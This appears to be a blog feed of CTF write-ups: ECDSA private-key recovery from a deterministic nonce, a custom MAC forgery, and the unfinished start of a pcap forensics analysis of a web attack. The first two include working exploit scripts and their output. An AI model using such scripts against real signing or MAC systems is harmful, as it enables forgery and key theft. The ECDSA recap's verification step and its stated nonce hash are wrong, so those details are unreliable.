" processEscapes: true," +
" preview: 'TeX'," +
" }, " +
" 'HTML-CSS': { " +
" availableFonts: ['STIX', 'TeX']," +
" preferredFont: 'STIX'," +
" styles: { '.MathJax_Display, .MathJax .mo, .MathJax .mi, .MathJax .mn': {color: 'inherit ! important'} }," +
" linebreaks: { automatic: "+ linebreak +", width: '90% container' }," +
" }, " +
"}); " +
"if ('default' !== 'default') {" +
"MathJax.Hub.Register.StartupHook('HTML-CSS Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax['HTML-CSS'].FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"MathJax.Hub.Register.StartupHook('SVG Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax.SVG.FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"}";
(document.body || document.getElementsByTagName('head')[0]).appendChild(configscript);
(document.body || document.getElementsByTagName('head')[0]).appendChild(mathjaxscript);
}
</script>FCSC 2020 - Deterministic ECDSA [EN]2020-05-09T00:00:00+02:002020-05-09T00:00:00+02:00Antoxydetag:w0nderland.fr,2020-05-09:/fcsc-2020-deterministic-ecdsa-en.html<p>Deterministic ECDSA was a 50 points cryptanalysis challenge at FCSC 2020.</p>
<p>We are given a script, <a href="https://w0nderland.fr/files/decdsa.py">decdsa.py</a>, and an ip/port on which the script is running as a service.</p>
<p>The script allows us to sign messages, using the curve <code>ANSSIFRP256v1</code>.
The goal is to retrieve the private key …</p><p>Deterministic ECDSA was a 50 points cryptanalysis challenge at FCSC 2020.</p>
<p>We are given a script, <a href="https://w0nderland.fr/files/decdsa.py">decdsa.py</a>, and an ip/port on which the script is running as a service.</p>
<p>The script allows us to sign messages, using the curve <code>ANSSIFRP256v1</code>.
The goal is to retrieve the private key and sign the message "admin".</p>
<h1>Quick ECDSA recap</h1>
<p>ECDSA is a signature scheme, based on elliptic curve.</p>
<p>Given a curve <span class="math">\(E\)</span>, with a generator point <span class="math">\(G\)</span> of order <span class="math">\(q\)</span> (ie <span class="math">\(qG = \mathcal{O}\)</span>, the point at infinity), the server choose a secret key <span class="math">\(d\)</span>. The public key is <span class="math">\(Q = dG\)</span>. The curve and the generator point are also public.</p>
<p>To sign a message <span class="math">\(m\)</span>, the server computes <span class="math">\(h = \mathcal{H}(m)\)</span>, where <span class="math">\(\mathcal{H}\)</span> is a cryptographic hash function, such as SHA256.</p>
<p>Then the server takes a random <span class="math">\(k\)</span>, and computes the point <span class="math">\((x,y) = kG\)</span>.</p>
<p>It calculates <span class="math">\(r \equiv x \mod q\)</span>, and <span class="math">\(s \equiv k^{-1}(h + rd) \mod q\)</span>.</p>
<p>The final signature is the pair <span class="math">\((r,s)\)</span>.</p>
<p>To verify a message <span class="math">\(m\)</span>, one computes <span class="math">\(h = \mathcal{H}(m)\)</span>, calculates <span class="math">\(u_1 = hs^{-1} \mod q\)</span> and <span class="math">\(u_2 = rs^{-1} \mod q\)</span>.
Then computes <span class="math">\((x,y) = u_1G + u_2Q\)</span>.
If <span class="math">\((x,y) = \mathcal{O}\)</span>, the signature is valid.</p>
<h1>What if <span class="math">\(k\)</span> is known</h1>
<p>The whole security of the protocol lies on the fact that <span class="math">\(k\)</span> is unknown to the attacker. What if i tell you that if someone manages to get a signature and its associated <span class="math">\(k\)</span>, he can recover the private key ?!</p>
<p>Imagine we got a message <span class="math">\(m\)</span>, its corresponding signature <span class="math">\((r,s)\)</span> and the corresponding <span class="math">\(k\)</span>.</p>
<p>We know that <span class="math">\(s = k^{-1}(h + rd) \mod q\)</span>. The private key is <span class="math">\(d\)</span>, so lets try to isolate it on the equation :</p>
<p><span class="math">\(sk \equiv h + rd \mod q \iff d \equiv (sk - h)r^{-1} \mod q\)</span></p>
<p>As we known all variables on the right, computing <span class="math">\(d\)</span> is easy.</p>
<h1>Back to the challenge</h1>
<p>In the challenge, <span class="math">\(k\)</span> is simply the SHA512 of <span class="math">\(m\)</span>. That's really bad because its <em>deterministic</em>, we can easily recover it knowing a message and its signature.</p>
<p>So basically that's over, here is our plan:</p>
<ul>
<li>Signing a message <span class="math">\(m\)</span></li>
<li>Computing the <span class="math">\(k\)</span> from <span class="math">\(m\)</span> and its signature <span class="math">\((r,s)\)</span>.</li>
<li>Retrieve the private key <span class="math">\(d\)</span></li>
<li>Sign the message "admin", send the signature to the server</li>
<li>???</li>
<li>Profit</li>
</ul>
<p>Here is a script implementing all of this:</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">libctf</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">from</span> <span class="nn">fastecdsa.curve</span> <span class="kn">import</span> <span class="n">Curve</span>
<span class="kn">from</span> <span class="nn">base64</span> <span class="kn">import</span> <span class="n">b64encode</span> <span class="k">as</span> <span class="n">b64e</span><span class="p">,</span> <span class="n">b64decode</span> <span class="k">as</span> <span class="n">b64d</span>
<span class="kn">from</span> <span class="nn">hashlib</span> <span class="kn">import</span> <span class="n">sha256</span><span class="p">,</span> <span class="n">sha512</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span><span class="p">,</span> <span class="n">bytes_to_long</span>
<span class="n">C</span> <span class="o">=</span> <span class="n">Curve</span><span class="p">(</span>
<span class="s2">"ANSSIFRP256v1"</span><span class="p">,</span>
<span class="mh">0xF1FD178C0B3AD58F10126DE8CE42435B3961ADBCABC8CA6DE8FCF353D86E9C03</span><span class="p">,</span>
<span class="mh">0xF1FD178C0B3AD58F10126DE8CE42435B3961ADBCABC8CA6DE8FCF353D86E9C00</span><span class="p">,</span>
<span class="mh">0xEE353FCA5428A9300D4ABA754A44C00FDFEC0C9AE4B1A1803075ED967B7BB73F</span><span class="p">,</span>
<span class="mh">0xF1FD178C0B3AD58F10126DE8CE42435B53DC67E140D2BF941FFDD459C6D655E1</span><span class="p">,</span>
<span class="mh">0xB6B3D4C356C139EB31183D4749D423958C27D2DCAF98B70164C97A2DD98F5CFF</span><span class="p">,</span>
<span class="mh">0x6142E0F7C8B204911F9271F0F3ECEF8C2701C307E8E4C9E183115A1554062CFB</span>
<span class="p">)</span>
<span class="n">mod</span> <span class="o">=</span> <span class="n">C</span><span class="o">.</span><span class="n">q</span>
<span class="k">def</span> <span class="nf">recover_d</span><span class="p">(</span><span class="n">m</span><span class="p">,</span><span class="n">r</span><span class="p">,</span><span class="n">s</span><span class="p">):</span>
<span class="n">h</span> <span class="o">=</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="n">sha512</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span><span class="o">.</span><span class="n">digest</span><span class="p">())</span>
<span class="n">k</span> <span class="o">=</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="n">sha256</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span><span class="o">.</span><span class="n">digest</span><span class="p">())</span>
<span class="n">d</span> <span class="o">=</span> <span class="p">((</span><span class="n">s</span><span class="o">*</span><span class="n">k</span><span class="p">)</span> <span class="o">-</span> <span class="n">h</span><span class="p">)</span> <span class="o">%</span> <span class="n">mod</span>
<span class="k">return</span> <span class="p">(</span><span class="n">d</span> <span class="o">*</span> <span class="n">invmod</span><span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="n">mod</span><span class="p">))</span> <span class="o">%</span> <span class="n">mod</span>
<span class="k">def</span> <span class="nf">sign</span><span class="p">(</span><span class="n">C</span><span class="p">,</span> <span class="n">sk</span><span class="p">,</span> <span class="n">msg</span><span class="p">):</span>
<span class="n">ctx</span> <span class="o">=</span> <span class="n">sha256</span><span class="p">()</span>
<span class="n">ctx</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">msg</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
<span class="n">k</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">ctx</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">(),</span> <span class="mi">16</span><span class="p">)</span>
<span class="n">ctx</span> <span class="o">=</span> <span class="n">sha512</span><span class="p">()</span>
<span class="n">ctx</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">msg</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
<span class="n">h</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">ctx</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">(),</span> <span class="mi">16</span><span class="p">)</span>
<span class="n">P</span> <span class="o">=</span> <span class="n">k</span> <span class="o">*</span> <span class="n">C</span><span class="o">.</span><span class="n">G</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">P</span><span class="o">.</span><span class="n">x</span>
<span class="k">assert</span> <span class="n">r</span> <span class="o">></span> <span class="mi">0</span><span class="p">,</span> <span class="s2">"Error: cannot sign this message."</span>
<span class="n">s</span> <span class="o">=</span> <span class="p">(</span><span class="n">invmod</span><span class="p">(</span><span class="n">k</span><span class="p">,</span> <span class="n">C</span><span class="o">.</span><span class="n">q</span><span class="p">)</span> <span class="o">*</span> <span class="p">(</span><span class="n">h</span> <span class="o">+</span> <span class="n">sk</span> <span class="o">*</span> <span class="n">r</span><span class="p">))</span> <span class="o">%</span> <span class="n">C</span><span class="o">.</span><span class="n">q</span>
<span class="k">assert</span> <span class="n">s</span> <span class="o">></span> <span class="mi">0</span><span class="p">,</span> <span class="s2">"Error: cannot sign this message."</span>
<span class="k">return</span> <span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="n">s</span><span class="p">)</span>
<span class="n">io</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s2">"challenges1.france-cybersecurity-challenge.fr"</span><span class="p">,</span> <span class="mi">2000</span><span class="p">)</span>
<span class="n">io</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">">>>"</span><span class="p">)</span>
<span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s2">"antox"</span><span class="p">)</span>
<span class="n">io</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span> <span class="c1"># user tokens</span>
<span class="c1"># Retrieve a message and its corresponding signature</span>
<span class="n">m</span><span class="p">,</span><span class="n">r</span><span class="p">,</span><span class="n">s</span> <span class="o">=</span> <span class="n">b64d</span><span class="p">(</span><span class="n">io</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">"|"</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Got m,r,s = </span><span class="si">{}</span><span class="s2">,</span><span class="si">{}</span><span class="s2">,</span><span class="si">{}</span><span class="s2">"</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">m</span><span class="p">,</span><span class="n">r</span><span class="p">,</span><span class="n">s</span><span class="p">))</span>
<span class="n">r</span><span class="p">,</span><span class="n">s</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">r</span><span class="p">),</span> <span class="nb">int</span><span class="p">(</span><span class="n">s</span><span class="p">)</span>
<span class="c1"># Compute back the private key from the message and its signature</span>
<span class="n">d</span> <span class="o">=</span> <span class="n">recover_d</span><span class="p">(</span><span class="n">m</span><span class="p">,</span><span class="n">r</span><span class="p">,</span><span class="n">s</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Found d = </span><span class="si">{}</span><span class="s2">"</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">d</span><span class="p">))</span>
<span class="c1"># Check that we got the correct d by signing m and checking that we got the same signature</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Check : </span><span class="si">{}</span><span class="s2">"</span><span class="o">.</span><span class="n">format</span><span class="p">((</span><span class="n">r</span><span class="p">,</span><span class="n">s</span><span class="p">)</span> <span class="o">==</span> <span class="n">sign</span><span class="p">(</span><span class="n">C</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">m</span><span class="p">)))</span>
<span class="c1"># Compute the signature the server want to give the flag</span>
<span class="n">r</span><span class="p">,</span><span class="n">s</span> <span class="o">=</span> <span class="n">sign</span><span class="p">(</span><span class="n">C</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="s2">"admin"</span><span class="p">)</span>
<span class="n">forged</span> <span class="o">=</span> <span class="n">b64e</span><span class="p">(</span><span class="s2">"</span><span class="si">{}</span><span class="s2">|</span><span class="si">{}</span><span class="s2">|</span><span class="si">{}</span><span class="s2">"</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="s2">"admin"</span><span class="p">,</span> <span class="n">r</span><span class="p">,</span><span class="n">s</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
<span class="c1"># Send it</span>
<span class="n">io</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">">>>"</span><span class="p">)</span>
<span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">forged</span><span class="p">)</span>
<span class="c1"># the server should now give us the flag !</span>
<span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">):</span>
<span class="nb">print</span><span class="p">(</span><span class="n">io</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</code></pre></div>
<p>Executing it :</p>
<div class="highlight"><pre><span></span><code>Got m,r,s = antox_#00,21232880318100022565723759902275162500883186467271275936324080295689749345913,45639382291577339757972434772651530474422657875600637520890993325136518503929
Found d = 78593266096774691231960415316042546555024606936601708022173287481629404126627
Check : True
Here is the stored flag: FCSC{2d6d125887b96c90cc3e4243b5d2ed13e0f18caccf117cb923ebf3d1f327c036}
</code></pre></div>
<p>and its over :-).</p>
<script type="text/javascript">if (!document.getElementById('mathjaxscript_pelican_#%@#$@#')) {
var align = "center",
indent = "0em",
linebreak = "false";
if (false) {
align = (screen.width < 768) ? "left" : align;
indent = (screen.width < 768) ? "0em" : indent;
linebreak = (screen.width < 768) ? 'true' : linebreak;
}
var mathjaxscript = document.createElement('script');
mathjaxscript.id = 'mathjaxscript_pelican_#%@#$@#';
mathjaxscript.type = 'text/javascript';
mathjaxscript.src = 'https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.3/latest.js?config=TeX-AMS-MML_HTMLorMML';
var configscript = document.createElement('script');
configscript.type = 'text/x-mathjax-config';
configscript[(window.opera ? "innerHTML" : "text")] =
"MathJax.Hub.Config({" +
" config: ['MMLorHTML.js']," +
" TeX: { extensions: ['AMSmath.js','AMSsymbols.js','noErrors.js','noUndefined.js'], equationNumbers: { autoNumber: 'none' } }," +
" jax: ['input/TeX','input/MathML','output/HTML-CSS']," +
" extensions: ['tex2jax.js','mml2jax.js','MathMenu.js','MathZoom.js']," +
" displayAlign: '"+ align +"'," +
" displayIndent: '"+ indent +"'," +
" showMathMenu: true," +
" messageStyle: 'normal'," +
" tex2jax: { " +
" inlineMath: [ ['\\\\(','\\\\)'] ], " +
" displayMath: [ ['$$','$$'] ]," +
" processEscapes: true," +
" preview: 'TeX'," +
" }, " +
" 'HTML-CSS': { " +
" availableFonts: ['STIX', 'TeX']," +
" preferredFont: 'STIX'," +
" styles: { '.MathJax_Display, .MathJax .mo, .MathJax .mi, .MathJax .mn': {color: 'inherit ! important'} }," +
" linebreaks: { automatic: "+ linebreak +", width: '90% container' }," +
" }, " +
"}); " +
"if ('default' !== 'default') {" +
"MathJax.Hub.Register.StartupHook('HTML-CSS Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax['HTML-CSS'].FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"MathJax.Hub.Register.StartupHook('SVG Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax.SVG.FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"}";
(document.body || document.getElementsByTagName('head')[0]).appendChild(configscript);
(document.body || document.getElementsByTagName('head')[0]).appendChild(mathjaxscript);
}
</script>FCSC 2020 - Macaron [EN]2020-05-09T00:00:00+02:002020-05-09T00:00:00+02:00Antoxydetag:w0nderland.fr,2020-05-09:/fcsc-2020-macaron-en.html<h1>Macaron</h1>
<p>Macaron was a 200 points cryptanalysis challenge at FCSC 2020.</p>
<p>We were given a script, <a href="https://w0nderland.fr/files/macaron.py">macaron.py</a>, as well as an ip/port where the script is running as a service.</p>
<p>The script implements a custom MAC algorithm. It allows us to get the MAC of a message or …</p><h1>Macaron</h1>
<p>Macaron was a 200 points cryptanalysis challenge at FCSC 2020.</p>
<p>We were given a script, <a href="https://w0nderland.fr/files/macaron.py">macaron.py</a>, as well as an ip/port where the script is running as a service.</p>
<p>The script implements a custom MAC algorithm. It allows us to get the MAC of a message or to get the flag by giving a correct MAC corresponding to the message of our choice.</p>
<h1>MAC computation</h1>
<p>The custom MAC uses HMAC internally, with two secret keys, <code>k1</code> and <code>k2</code>.
It starts by padding the input to be a multiple of 60.
It then cuts the input in blocks of 30 bytes, and prepend 2 bytes of "block nonce" to each blocks. I will call those 32 bytes block <span class="math">\(B_i\)</span>, where <span class="math">\(i\)</span> is the index of the block as well as the value the bloc nonce represent.</p>
<p>It initlize <span class="math">\(ht\)</span> to 0, and loops over the following computations:</p>
<ul>
<li><span class="math">\(d = HMAC(k_1, B_{i-1} || B_i)\)</span></li>
<li><span class="math">\(ht = ht \oplus d\)</span></li>
</ul>
<p>The final MAC is <span class="math">\(HMAC(k_2, ht)\)</span>.
It returns a concatenation of all the block nonces, and the final MAC.</p>
<p>The final MAC looks like <span class="math">\(HMAC(k_2, HMAC(k_1, B_0 || B_1) \oplus ... \oplus HMAC(k_1, B_{n-1} || B_n))\)</span></p>
<h1>Forging</h1>
<p>One can notice that the internal structure of the MAC links the blocks together using a XOR operator, which have some cool properties.
One of them is the fact that its self-cancelling, ie <span class="math">\(A \oplus B \oplus B = A\)</span>. Another is that its commutative, ie <span class="math">\(A \oplus B = B \oplus A\)</span>.</p>
<p>Our goal wil be to get two times the same group of 2 blocks in the middle, so it will cancels out and have the same MAC as the same message without the two blocs.</p>
<p>The only "protection" against this is the "block nonces", but the function that checks if a MAC is valid take the concatenation of all the block nonces as a parameter, so thats not really a problem and i will ignore the block nonces for simplicity in the next lines.</p>
<p>Another thing to consider is that the padding is always added, even if the input length is already a mutiple of 60. That means that the last block of our two messages must be the same.</p>
<p>I have chosen to get the MAC of <code>AB</code>, which becomes <code>ABPP</code> after getting padded.
The forged message will be <code>ABABAB</code>, which is <code>ABABABPP</code> after getting padded.
Lets check out why they have the same MAC:</p>
<ul>
<li>MAC <code>ABPP</code> : <div class="math">$$HMAC(k_2, HMAC(k_1, A||B) \oplus HMAC(k_1, B||P) \oplus HMAC(k_1, P||P))$$</div>
</li>
<li>MAC <code>ABABABPP</code> : <div class="math">$$HMAC(k_2, HMAC(k_1, A||B) \oplus HMAC(k_1, B||A) \oplus HMAC(k_1, A||B) \oplus HMAC(k_1, B||A) \oplus HMAC(k_1, A||B) \oplus HMAC(k_1, B||P) \oplus HMAC(k_1, P||P))$$</div>
As Xor is commutative and self-cancelling, <span class="math">\(HMAC(k_1, A||B) \oplus HMAC(k_1, B||A) \oplus HMAC(k_1, A||B) \oplus HMAC(k_1, B||A)\)</span> is equal to <span class="math">\(0\)</span>.
So we are left with the same MAC as <code>ABPP</code>.</li>
</ul>
<p>For the block nonces, we simply have to put the same ones for each <span class="math">\(A\)</span> block and the same of for each <span class="math">\(B\)</span> block.
For the two padding blocks, we add the "02" and "03" block nonces, because its the ones they were associated with when creating the first MAC.</p>
<p>Here is the final script:</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">macaron</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">m</span> <span class="o">=</span> <span class="n">Macaron</span><span class="p">()</span>
<span class="n">A</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">"A"</span><span class="o">*</span><span class="mi">30</span>
<span class="n">B</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">"B"</span><span class="o">*</span><span class="mi">30</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"First message MAC computation"</span><span class="p">)</span>
<span class="n">tag_hash</span><span class="p">,</span> <span class="n">tag_nonce</span> <span class="o">=</span> <span class="n">m</span><span class="o">.</span><span class="n">tag</span><span class="p">(</span><span class="n">A</span> <span class="o">+</span> <span class="n">B</span><span class="p">)</span>
<span class="n">forged_tag_nonce</span> <span class="o">=</span> <span class="p">(</span><span class="sa">b</span><span class="s1">'</span><span class="se">\x00\x00</span><span class="s1">'</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">'</span><span class="se">\x00\x01</span><span class="s1">'</span><span class="p">)</span> <span class="o">*</span> <span class="mi">3</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">'</span><span class="se">\x00\x02</span><span class="s1">'</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">'</span><span class="se">\x00\x03</span><span class="s1">'</span>
<span class="n">forged_tag_hash</span> <span class="o">=</span> <span class="n">tag_hash</span>
<span class="n">forged_message</span> <span class="o">=</span> <span class="p">(</span><span class="n">A</span> <span class="o">+</span> <span class="n">B</span><span class="p">)</span> <span class="o">*</span> <span class="mi">3</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Forged message MAC verification"</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">verify</span><span class="p">(</span><span class="n">forged_message</span><span class="p">,</span> <span class="p">(</span><span class="n">forged_tag_hash</span><span class="p">,</span> <span class="n">forged_tag_nonce</span><span class="p">)))</span>
</code></pre></div>
<p>and its execution:</p>
<div class="highlight"><pre><span></span><code>First message MAC computation
B0 = b'\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x01BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'
B1 = b'\x00\x01BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\x00\x02<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<'
B2 = b'\x00\x02<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\x00\x03<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<'
tag_hash final b'K\x9e\xed\x07\x1b \x1e\xd4\x03\x93\xed\x10_@\xdf\x8d\xf2F\xde6\x04\x96C\xb4\x8d\xe5_\x16\xe9\x8fJ\xef'
Forged message MAC verification
B0 = b'\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x01BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'
B1 = b'\x00\x01BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
B2 = b'\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x01BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'
B3 = b'\x00\x01BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
B4 = b'\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x01BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'
B5 = b'\x00\x01BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\x00\x02<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<'
B6 = b'\x00\x02<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\x00\x03<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<'
True
</code></pre></div>
<p>Giving that to the service, and we get our flag :-).</p>
<script type="text/javascript">if (!document.getElementById('mathjaxscript_pelican_#%@#$@#')) {
var align = "center",
indent = "0em",
linebreak = "false";
if (false) {
align = (screen.width < 768) ? "left" : align;
indent = (screen.width < 768) ? "0em" : indent;
linebreak = (screen.width < 768) ? 'true' : linebreak;
}
var mathjaxscript = document.createElement('script');
mathjaxscript.id = 'mathjaxscript_pelican_#%@#$@#';
mathjaxscript.type = 'text/javascript';
mathjaxscript.src = 'https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.3/latest.js?config=TeX-AMS-MML_HTMLorMML';
var configscript = document.createElement('script');
configscript.type = 'text/x-mathjax-config';
configscript[(window.opera ? "innerHTML" : "text")] =
"MathJax.Hub.Config({" +
" config: ['MMLorHTML.js']," +
" TeX: { extensions: ['AMSmath.js','AMSsymbols.js','noErrors.js','noUndefined.js'], equationNumbers: { autoNumber: 'none' } }," +
" jax: ['input/TeX','input/MathML','output/HTML-CSS']," +
" extensions: ['tex2jax.js','mml2jax.js','MathMenu.js','MathZoom.js']," +
" displayAlign: '"+ align +"'," +
" displayIndent: '"+ indent +"'," +
" showMathMenu: true," +
" messageStyle: 'normal'," +
" tex2jax: { " +
" inlineMath: [ ['\\\\(','\\\\)'] ], " +
" displayMath: [ ['$$','$$'] ]," +
" processEscapes: true," +
" preview: 'TeX'," +
" }, " +
" 'HTML-CSS': { " +
" availableFonts: ['STIX', 'TeX']," +
" preferredFont: 'STIX'," +
" styles: { '.MathJax_Display, .MathJax .mo, .MathJax .mi, .MathJax .mn': {color: 'inherit ! important'} }," +
" linebreaks: { automatic: "+ linebreak +", width: '90% container' }," +
" }, " +
"}); " +
"if ('default' !== 'default') {" +
"MathJax.Hub.Register.StartupHook('HTML-CSS Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax['HTML-CSS'].FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"MathJax.Hub.Register.StartupHook('SVG Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax.SVG.FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"}";
(document.body || document.getElementsByTagName('head')[0]).appendChild(configscript);
(document.body || document.getElementsByTagName('head')[0]).appendChild(mathjaxscript);
}
</script>Santhacklaus 2019 - Revmomon [EN]2019-12-23T00:00:00+01:002019-12-23T00:00:00+01:00Antoxydetag:w0nderland.fr,2019-12-23:/santhacklaus-2019-revmomon-en.html<p>This was a 500 points forensics and cryptanalysis challenge at Santhacklaus 2019 CTF. It’s description was as follows :</p>
<div class="highlight"><pre><span></span><code>Suspicious activity has been detected. Probably nothing to be scared about but take a look anyway.
If you find anything, a backdoor, a malware or anything of this kind, flag is …</code></pre></div><p>This was a 500 points forensics and cryptanalysis challenge at Santhacklaus 2019 CTF. It’s description was as follows :</p>
<div class="highlight"><pre><span></span><code>Suspicious activity has been detected. Probably nothing to be scared about but take a look anyway.
If you find anything, a backdoor, a malware or anything of this kind, flag is the sha256 of it.
MD5 of the file : c93adc996da5dda82312e43e9a91d053
</code></pre></div>
<p>Downloading and unziping the given file, we end up with a file called <code>challenge.pcapng</code> , surely a network capture.</p>
<p>As the description says, our goal is to find a malware, probably an elf or some type of executable, and the flag with be its sha256sum.</p>
<h1>Getting an overview of the capture</h1>
<p>Loading the pcap in our beloved Wireshark, we can see that there are 185701 sniffed packets. The first ~172000 looks like this :</p>
<p><img alt="Wireshark SYN scan" src="https://w0nderland.fr/images/santhacklaus2019/wireshark-syn-scan.png"></p>
<p>This is clearly a <a href="https://nmap.org/book/synscan.html">TCP SYN scan</a>. We can deduce that <code>171.17.0.1</code> is the attacker here, and <code>171.17.0.5</code> the victim.</p>
<p>Scrolling down, 16s after the start of the capture, we come accross a lot of HTTP traffic, from <code>171.17.0.5</code> , our victim, to various public HTTP servers.</p>
<p>~51s after the start, begins another heap of HTTP exchanges, but this time between our two LAN hosts, our attacker and ou victim.</p>
<p><img alt="Wireshark web scan" src="https://w0nderland.fr/images/santhacklaus2019/wireshark-web-scan.png"></p>
<p>By looking at the HTTP verbs and the requests path, we can conclude that the attacker is bruteforcing the victim to find hidden web files.</p>
<p>After a while, the scan ends, and we see several POST requests on /index.php of the victim’s webserver.</p>
<p>The first one look like this :</p>
<p><img alt="Wireshark index ping" src="https://w0nderland.fr/images/santhacklaus2019/wireshark-index-ping.php.png"></p>
<p>We can see that <code>index.php</code> is in fact a simple ping service; you give it an IP address through the <code>cli_ip</code> POST parameter and it will ping it for you, telling you if the host is up or not.</p>
